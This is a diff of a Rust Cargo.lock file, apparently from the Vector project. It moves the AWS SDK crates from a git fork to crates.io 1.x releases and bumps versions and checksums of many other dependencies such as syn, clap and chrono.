+627,7 @@ dependencies = [ "cfg-if", "event-listener 3.0.1", "futures-lite", - "rustix 0.38.28", + "rustix 0.38.31", "windows-sys 0.48.0", ] @@ -672,9 +649,9 @@ version = "1.0.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5fd55a5ba1179988837d24ab4c7cc8ed6efdeff578ede0416b4225a5fca35bd0" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -689,7 +666,7 @@ dependencies = [ "cfg-if", "futures-core", "futures-io", - "rustix 0.38.28", + "rustix 0.38.31", "signal-hook-registry", "slab", "windows-sys 0.48.0", @@ -712,9 +689,9 @@ version = "0.3.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "16e62a023e7c117e27523144c5d2459f4397fcc3cab0085af8e2224f643a0193" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -725,13 +702,13 @@ checksum = "b4eb2cdb97421e01129ccb49169d8279ed21e829929144f4a22a6e54ac549ca1" [[package]] name = "async-trait" -version = "0.1.75" +version = "0.1.77" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fdf6721fb0140e4f897002dd086c06f6c27775df19cfe1fccb21181a48fd2c98" +checksum = "c980ee35e870bd1a4d2c8294d4c04d0499e67bca1e4b5cefcc693c2fa00caea9" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -759,352 +736,309 @@ checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" [[package]] name = "aws-config" -version = "0.54.1" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80c950a809d39bc9480207cb1cfc879ace88ea7e3a4392a8e9999e45d6e5692e" dependencies = [ "aws-credential-types", "aws-http", - "aws-sdk-sso", + "aws-runtime", "aws-sdk-sts", "aws-smithy-async", - "aws-smithy-client", "aws-smithy-http", - "aws-smithy-http-tower", "aws-smithy-json", + "aws-smithy-runtime", + "aws-smithy-runtime-api", "aws-smithy-types", "aws-types", "bytes 1.5.0", - "hex", + "fastrand 2.0.1", "http 0.2.9", "hyper", - "ring 0.16.20", "time", "tokio", - "tower", "tracing 0.1.40", - "zeroize", ] [[package]] name = "aws-credential-types" -version = "0.54.1" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d56f287a9e65e4914bfedb5b22c056b65e4c232fca512d5509a9df36386759f" dependencies = [ "aws-smithy-async", + "aws-smithy-runtime-api", "aws-smithy-types", - "tokio", - "tracing 0.1.40", "zeroize", ] [[package]] -name = "aws-endpoint" -version = "0.54.1" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +name = "aws-http" +version = "0.60.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "361c4310fdce94328cc2d1ca0c8a48c13f43009c61d3367585685a50ca8c66b6" dependencies = [ - "aws-smithy-http", + "aws-smithy-runtime-api", "aws-smithy-types", "aws-types", + "bytes 1.5.0", "http 0.2.9", - "regex", + "http-body", + "pin-project-lite", "tracing 0.1.40", ] [[package]] -name = "aws-http" -version = "0.54.1" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +name = "aws-runtime" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ed7ef604a15fd0d4d9e43701295161ea6b504b63c44990ead352afea2bc15e9" dependencies = [ "aws-credential-types", + "aws-http", + "aws-sigv4", + "aws-smithy-async", + "aws-smithy-eventstream", "aws-smithy-http", + "aws-smithy-runtime-api", "aws-smithy-types", "aws-types", - "bytes 1.5.0", + "fastrand 2.0.1", "http 0.2.9", - "http-body", - "lazy_static", "percent-encoding", - "pin-project-lite", "tracing 0.1.40", + "uuid", ] [[package]] name = "aws-sdk-cloudwatch" -version = "0.24.0" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "043546afc3d129d3d487c2fd121aabe4208300293f541a5c8adffdc919a603b0" dependencies = [ "aws-credential-types", - "aws-endpoint", "aws-http", - "aws-sig-auth", + "aws-runtime", "aws-smithy-async", - "aws-smithy-client", "aws-smithy-http", - "aws-smithy-http-tower", "aws-smithy-json", "aws-smithy-query", + "aws-smithy-runtime", + "aws-smithy-runtime-api", "aws-smithy-types", "aws-smithy-xml", "aws-types", - "bytes 1.5.0", "http 0.2.9", "regex", - "tokio-stream", - "tower", + "tracing 0.1.40", ] [[package]] name = "aws-sdk-cloudwatchlogs" -version = "0.24.0" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67a5bcf460e098cf49292d216fe520b28a5d9c8dae10db0ff9a97bb2c95dd386" dependencies = [ "aws-credential-types", - "aws-endpoint", "aws-http", - "aws-sig-auth", + "aws-runtime", "aws-smithy-async", - "aws-smithy-client", "aws-smithy-http", - "aws-smithy-http-tower", "aws-smithy-json", + "aws-smithy-runtime", + "aws-smithy-runtime-api", "aws-smithy-types", "aws-types", "bytes 1.5.0", + "fastrand 2.0.1", "http 0.2.9", "regex", - "tokio-stream", - "tower", + "tracing 0.1.40", ] [[package]] name = "aws-sdk-elasticsearch" -version = "0.24.0" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3090fdd5bf46d4097af7f560cb7305e1ef6f3f743bb7a4531246113e823309b0" dependencies = [ "aws-credential-types", - "aws-endpoint", "aws-http", - "aws-sig-auth", + "aws-runtime", "aws-smithy-async", - "aws-smithy-client", "aws-smithy-http", - "aws-smithy-http-tower", "aws-smithy-json", + "aws-smithy-runtime", + "aws-smithy-runtime-api", "aws-smithy-types", "aws-types", "bytes 1.5.0", "http 0.2.9", "regex", - "tokio-stream", - "tower", + "tracing 0.1.40", ] [[package]] name = "aws-sdk-firehose" -version = "0.24.0" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8789c5a2d55cb3ed24d8f0635498c53e0f6413c0f9839e9cb54e130e96a81b53" dependencies = [ "aws-credential-types", - "aws-endpoint", "aws-http", - "aws-sig-auth", + "aws-runtime", "aws-smithy-async", - "aws-smithy-client", "aws-smithy-http", - "aws-smithy-http-tower", "aws-smithy-json", + "aws-smithy-runtime", + "aws-smithy-runtime-api", "aws-smithy-types", "aws-types", "bytes 1.5.0", "http 0.2.9", "regex", - "tower", + "tracing 0.1.40", ] [[package]] name = "aws-sdk-kinesis" -version = "0.24.0" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cbcd6e94c56f1b4881b405c0953a82d50e110311100cf2355e50fdab79d73f44" dependencies = [ "aws-credential-types", - "aws-endpoint", "aws-http", - "aws-sig-auth", + "aws-runtime", "aws-smithy-async", - "aws-smithy-client", "aws-smithy-http", - "aws-smithy-http-tower", "aws-smithy-json", + "aws-smithy-runtime", + "aws-smithy-runtime-api", "aws-smithy-types", "aws-types", "bytes 1.5.0", "http 0.2.9", "regex", - "tokio-stream", - "tower", + "tracing 0.1.40", ] [[package]] name = "aws-sdk-s3" -version = "0.24.0" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "859a207781360445504b89e790aebf682d80883280aa0d9b6e2e67740a733147" dependencies = [ "aws-credential-types", - "aws-endpoint", "aws-http", - "aws-sig-auth", + "aws-runtime", "aws-sigv4", "aws-smithy-async", "aws-smithy-checksums", - "aws-smithy-client", "aws-smithy-eventstream", "aws-smithy-http", - "aws-smithy-http-tower", "aws-smithy-json", + "aws-smithy-runtime", + "aws-smithy-runtime-api", "aws-smithy-types", "aws-smithy-xml", "aws-types", "bytes 1.5.0", - "bytes-utils", - "fastrand 1.9.0", "http 0.2.9", "http-body", "once_cell", "percent-encoding", "regex", - "tokio-stream", - "tower", "tracing 0.1.40", "url", ] [[package]] name = "aws-sdk-sns" -version = "0.24.0" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48bff824fe28888cc4ce6acb52ba8e5cd9f4f38fc5bd1bb40d916e3000e17b57" dependencies = [ "aws-credential-types", - "aws-endpoint", "aws-http", - "aws-sig-auth", + "aws-runtime", "aws-smithy-async", - "aws-smithy-client", "aws-smithy-http", - "aws-smithy-http-tower", "aws-smithy-json", "aws-smithy-query", + "aws-smithy-runtime", + "aws-smithy-runtime-api", "aws-smithy-types", "aws-smithy-xml", "aws-types", - "bytes 1.5.0", "http 0.2.9", "regex", - "tokio-stream", - "tower", + "tracing 0.1.40", ] [[package]] name = "aws-sdk-sqs" -version = "0.24.0" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" -dependencies = [ - "aws-credential-types", - "aws-endpoint", - "aws-http", - "aws-sig-auth", - "aws-smithy-async", - "aws-smithy-client", - "aws-smithy-http", - "aws-smithy-http-tower", - "aws-smithy-json", - "aws-smithy-query", - "aws-smithy-types", - "aws-smithy-xml", - "aws-types", - "bytes 1.5.0", - "http 0.2.9", - "regex", - "tokio-stream", - "tower", -] - -[[package]] -name = "aws-sdk-sso" -version = "0.24.0" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5736d9255f65f36df4f0812665c33fa36042b96192e6bba843ef5fcc75187cd8" dependencies = [ "aws-credential-types", - "aws-endpoint", "aws-http", - "aws-sig-auth", + "aws-runtime", "aws-smithy-async", - "aws-smithy-client", "aws-smithy-http", - "aws-smithy-http-tower", "aws-smithy-json", + "aws-smithy-runtime", + "aws-smithy-runtime-api", "aws-smithy-types", "aws-types", "bytes 1.5.0", "http 0.2.9", "regex", - "tokio-stream", - "tower", + "tracing 0.1.40", ] [[package]] name = "aws-sdk-sts" -version = "0.24.0" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5700da387716ccfc30b27f44b008f457e1baca5b0f05b6b95455778005e3432a" dependencies = [ "aws-credential-types", - "aws-endpoint", "aws-http", - "aws-sig-auth", + "aws-runtime", "aws-smithy-async", - "aws-smithy-client", "aws-smithy-http", - "aws-smithy-http-tower", "aws-smithy-json", "aws-smithy-query", + "aws-smithy-runtime", + "aws-smithy-runtime-api", "aws-smithy-types", "aws-smithy-xml", "aws-types", - "bytes 1.5.0", "http 0.2.9", "regex", - "tower", - "tracing 0.1.40", -] - -[[package]] -name = "aws-sig-auth" -version = "0.54.1" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" -dependencies = [ - "aws-credential-types", - "aws-sigv4", - "aws-smithy-eventstream", - "aws-smithy-http", - "aws-types", - "http 0.2.9", "tracing 0.1.40", ] [[package]] name = "aws-sigv4" -version = "0.54.2" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c371c6b0ac54d4605eb6f016624fb5c7c2925d315fdf600ac1bf21b19d5f1742" dependencies = [ + "aws-credential-types", "aws-smithy-eventstream", "aws-smithy-http", + "aws-smithy-runtime-api", + "aws-smithy-types", "bytes 1.5.0", "form_urlencoded", "hex", "hmac", "http 0.2.9", + "http 1.0.0", "once_cell", "percent-encoding", - "regex", "sha2", "time", "tracing 0.1.40", @@ -1112,19 +1046,20 @@ dependencies = [ [[package]] name = "aws-smithy-async" -version = "0.54.1" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "426a5bc369ca7c8d3686439e46edc727f397a47ab3696b13f3ae8c81b3b36132" dependencies = [ "futures-util", "pin-project-lite", "tokio", - "tokio-stream", ] [[package]] name = "aws-smithy-checksums" -version = "0.54.1" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "0.60.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c5a373ec01aede3dd066ec018c1bc4e8f5dd11b2c11c59c8eef1a5c68101f397" dependencies = [ "aws-smithy-http", "aws-smithy-types", @@ -1142,34 +1077,10 @@ dependencies = [ ] [[package]] -name = "aws-smithy-client" -version = "0.54.1" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" -dependencies = [ - "aws-smithy-async", - "aws-smithy-http", - "aws-smithy-http-tower", - "aws-smithy-protocol-test", - "aws-smithy-types", - "bytes 1.5.0", - "fastrand 1.9.0", - "http 0.2.9", - "http-body", - "hyper", - "hyper-rustls 0.23.2", - "hyper-tls", - "lazy_static", - "pin-project-lite", - "serde", - "tokio", - "tower", - "tracing 0.1.40", -] - -[[package]] name = "aws-smithy-eventstream" -version = "0.54.1" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "0.60.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6363078f927f612b970edf9d1903ef5cef9a64d1e8423525ebb1f0a1633c858" dependencies = [ "aws-smithy-types", "bytes 1.5.0", @@ -1178,17 +1089,18 @@ dependencies = [ [[package]] name = "aws-smithy-http" -version = "0.54.1" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "0.60.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85d6a0619f7b67183067fa3b558f94f90753da2df8c04aeb7336d673f804b0b8" dependencies = [ "aws-smithy-eventstream", + "aws-smithy-runtime-api", "aws-smithy-types", "bytes 1.5.0", "bytes-utils", "futures-core", "http 0.2.9", "http-body", - "hyper", "once_cell", "percent-encoding", "pin-project-lite", @@ -1197,80 +1109,103 @@ dependencies = [ ] [[package]] -name = "aws-smithy-http-tower" -version = "0.54.1" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +name = "aws-smithy-json" +version = "0.60.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a46dd338dc9576d6a6a5b5a19bd678dcad018ececee11cf28ecd7588bd1a55c" dependencies = [ - "aws-smithy-http", "aws-smithy-types", - "bytes 1.5.0", - "http 0.2.9", - "http-body", - "pin-project-lite", - "tower", - "tracing 0.1.40", ] [[package]] -name = "aws-smithy-json" -version = "0.54.1" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +name = "aws-smithy-query" +version = "0.60.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "feb5b8c7a86d4b6399169670723b7e6f21a39fc833a30f5c5a2f997608178129" dependencies = [ "aws-smithy-types", + "urlencoding", ] [[package]] -name = "aws-smithy-protocol-test" -version = "0.54.1" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +name = "aws-smithy-runtime" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4cb6b3afa5fc9825a75675975dcc3e21764b5476bc91dbc63df4ea3d30a576e" dependencies = [ - "assert-json-diff 1.1.0", + "aws-smithy-async", + "aws-smithy-http", + "aws-smithy-runtime-api", + "aws-smithy-types", + "bytes 1.5.0", + "fastrand 2.0.1", + "h2 0.3.24", "http 0.2.9", - "pretty_assertions", - "regex", - "roxmltree 0.14.1", - "serde_json", - "thiserror", + "http-body", + "hyper", + "hyper-rustls", + "once_cell", + "pin-project-lite", + "pin-utils", + "rustls", + "tokio", + "tracing 0.1.40", ] [[package]] -name = "aws-smithy-query" -version = "0.54.1" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +name = "aws-smithy-runtime-api" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23165433e80c04e8c09cee66d171292ae7234bae05fa9d5636e33095eae416b2" dependencies = [ + "aws-smithy-async", "aws-smithy-types", - "urlencoding", + "bytes 1.5.0", + "http 0.2.9", + "pin-project-lite", + "tokio", + "tracing 0.1.40", ] [[package]] name = "aws-smithy-types" -version = "0.54.1" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c94a5bec34850b92c9a054dad57b95c1d47f25125f55973e19f6ad788f0381ff" dependencies = [ "base64-simd", + "bytes 1.5.0", + "bytes-utils", + "futures-core", + "http 0.2.9", + "http-body", "itoa", "num-integer", + "pin-project-lite", + "pin-utils", "ryu", + "serde", "time", ] [[package]] name = "aws-smithy-xml" -version = "0.54.1" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "0.60.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ec40d74a67fd395bc3f6b4ccbdf1543672622d905ef3f979689aea5b730cb95" dependencies = [ "xmlparser", ] [[package]] name = "aws-types" -version = "0.54.1" -source = "git+https://github.com/vectordotdev/aws-sdk-rust?rev=3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670#3d6aefb7fcfced5fc2a7e761a87e4ddbda1ee670" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "789bbe008e65636fe1b6dbbb374c40c8960d1232b96af5ff4aec349f9c4accf4" dependencies = [ "aws-credential-types", "aws-smithy-async", - "aws-smithy-client", - "aws-smithy-http", + "aws-smithy-runtime-api", "aws-smithy-types", "http 0.2.9", "rustc_version 0.4.0", @@ -1330,11 +1265,11 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4ccd63c07d1fbfb3d4543d7ea800941bf5a30db1911b9b9e4db3b2c4210a434f" dependencies = [ "async-trait", - "base64 0.21.5", + "base64 0.21.7", "bytes 1.5.0", "dyn-clone", "futures 0.3.30", - "getrandom 0.2.11", + "getrandom 0.2.12", "http-types", "log", "paste", @@ -1419,7 +1354,7 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b62ddb9cb1ec0a098ad4bbf9344d0713fa193ae1a80af55febcff2627b6a00c1" dependencies = [ - "getrandom 0.2.11", + "getrandom 0.2.12", "instant", "rand 0.8.5", ] @@ -1477,17 +1412,18 @@ checksum = "0ea22880d78093b0cbe17c89f64a7d457941e65759157ec6cb31a31d652b05e5" [[package]] name = "base64" -version = "0.21.5" +version = "0.21.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "35636a1494ede3b646cc98f74f8e62c773a38a659ebc777a2cf26b9b74171df9" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" [[package]] name = "base64-simd" -version = "0.7.0" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "781dd20c3aff0bd194fe7d2a977dd92f21c173891f3a03b677359e5fa457e5d5" +checksum = "339abbe78e73178762e23bea9dfd08e697eb3f3301cd4be981c0f78ba5859195" dependencies = [ - "simd-abstraction", + "outref", + "vsimd", ] [[package]] @@ -1530,7 +1466,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9990737a6d5740ff51cdbbc0f0503015cb30c390f6623968281eb214a520cfc0" dependencies = [ "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -1594,7 +1530,7 @@ version = "0.15.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f03db470b3c0213c47e978da93200259a1eb4dae2e5512cba9955e2b540a6fc6" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "bollard-stubs", "bytes 1.5.0", "chrono", @@ -1604,11 +1540,11 @@ dependencies = [ "home", "http 0.2.9", "hyper", - "hyper-rustls 0.24.2", + "hyper-rustls", "hyperlocal", "log", "pin-project-lite", - "rustls 0.21.8", + "rustls", "rustls-native-certs", "rustls-pemfile", "rustls-webpki", @@ -1634,7 +1570,7 @@ dependencies = [ "chrono", "serde", "serde_repr", - "serde_with 3.4.0", + "serde_with 3.6.1", ] [[package]] @@ -1655,9 +1591,9 @@ checksum = "f404657a7ea7b5249e36808dff544bc88a28f26e0ac40009f674b7a009d14be3" dependencies = [ "once_cell", "proc-macro-crate 2.0.0", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", "syn_derive", ] @@ -1700,7 +1636,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c48f0051a4b4c5e0b6d365cd04af53aeaa209e3cc15ec2cdb69e73cc87fbd0dc" dependencies = [ "memchr", - "regex-automata 0.4.3", + "regex-automata 0.4.4", "serde", ] @@ -1727,7 +1663,7 @@ version = "0.6.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a7ec4c6f261935ad534c0c22dbef2201b45918860eb1c574b972bd213a76af61" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "syn 1.0.109", ] @@ -1781,9 +1717,9 @@ checksum = "a3e368af43e418a04d52505cf3dbc23dda4e3407ae2fa99fd0e4f308ce546acc" [[package]] name = "cached" -version = "0.46.1" +version = "0.48.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c7c8c50262271cdf5abc979a5f76515c234e764fa025d1ba4862c0f0bcda0e95" +checksum = "355face540df58778b96814c48abb3c2ed67c4878a8087ab1819c1fedeec505f" dependencies = [ "ahash 0.8.6", "cached_proc_macro", @@ -1796,30 +1732,30 @@ dependencies = [ [[package]] name = "cached_proc_macro" -version = "0.18.1" +version = "0.19.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c878c71c2821aa2058722038a59a67583a4240524687c6028571c9b395ded61f" +checksum = "9d52f526f7cbc875b296856ca8c964a9f6290556922c303a8a3883e3c676e6a1" dependencies = [ "darling 0.14.4", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "syn 1.0.109", ] [[package]] name = "cached_proc_macro_types" -version = "0.1.0" +version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3a4f925191b4367301851c6d99b09890311d74b0d43f274c0b34c86d308a3663" +checksum = "ade8366b8bd5ba243f0a58f036cc0ca8a2f069cff1a2351ef1cac6b083e16fc0" [[package]] name = "cargo_toml" -version = "0.17.2" +version = "0.19.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8a969e13a7589e9e3e4207e153bae624ade2b5622fb4684a4923b23ec3d57719" +checksum = "3dc9f7a067415ab5058020f04c60ec7b557084dbec0e021217bbabc7a8d38d14" dependencies = [ "serde", - "toml 0.8.8", + "toml", ] [[package]] @@ -1835,6 +1771,15 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "37b2a672a2cb129a2e41c10b1224bb368f9f37a2b16b612598138befd7b37eb5" [[package]] +name = "castaway" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a17ed5635fc8536268e5d4de1e22e81ac34419e5f052d4d51f4e01dcc263fcc" +dependencies = [ + "rustversion", +] + +[[package]] name = "cbc" version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1916,9 +1861,9 @@ dependencies = [ [[package]] name = "chrono" -version = "0.4.31" +version = "0.4.34" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" +checksum = "5bc015644b92d5890fab7489e49d21f879d5c990186827d42ec511919404f38b" dependencies = [ "android-tzdata", "iana-time-zone", @@ -1926,7 +1871,7 @@ dependencies = [ "num-traits", "serde", "wasm-bindgen", - "windows-targets 0.48.5", + "windows-targets 0.52.0", ] [[package]] @@ -2037,9 +1982,9 @@ dependencies = [ [[package]] name = "clap" -version = "4.4.12" +version = "4.4.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dcfab8ba68f3668e89f6ff60f5b205cea56aa7b769451a59f34b8682f51c056d" +checksum = "1e578d6ec4194633722ccf9544794b71b1385c3c027efe0c55db226fc880865c" dependencies = [ "clap_builder", "clap_derive", @@ -2047,19 +1992,19 @@ dependencies = [ [[package]] name = "clap-verbosity-flag" -version = "2.1.1" +version = "2.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3c90e95e5bd4e8ac34fa6f37c774b0c6f8ed06ea90c79931fd448fcf941a9767" +checksum = "b57f73ca21b17a0352944b9bb61803b6007bd911b6cccfef7153f7f0600ac495" dependencies = [ - "clap 4.4.12", + "clap 4.4.18", "log", ] [[package]] name = "clap_builder" -version = "4.4.12" +version = "4.4.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb7fb5e4e979aec3be7791562fcba452f94ad85e954da024396433e0e25a79e9" +checksum = "4df4df40ec50c46000231c914968278b1eb05098cf8f1b3a518a95030e71d1c7" dependencies = [ "anstream", "anstyle", @@ -2070,11 +2015,11 @@ dependencies = [ [[package]] name = "clap_complete" -version = "4.4.6" +version = "4.4.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "97aeaa95557bd02f23fbb662f981670c3d20c5a26e69f7354b28f57092437fcd" +checksum = "abb745187d7f4d76267b37485a65e0149edd0e91a4cfcdd3f27524ad86cee9f3" dependencies = [ - "clap 4.4.12", + "clap 4.4.18", ] [[package]] @@ -2084,9 +2029,9 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442" dependencies = [ "heck 0.4.1", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -2136,7 +2081,7 @@ dependencies = [ "serde_json", "similar-asserts", "smallvec", - "snafu", + "snafu 0.7.5", "syslog_loose", "tokio", "tokio-util", @@ -2211,7 +2156,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4f6af96839c04974cf381e427792a99913ecf3f7bfb348f153dc8a8e5f9803ad" dependencies = [ "anyhow", - "base64 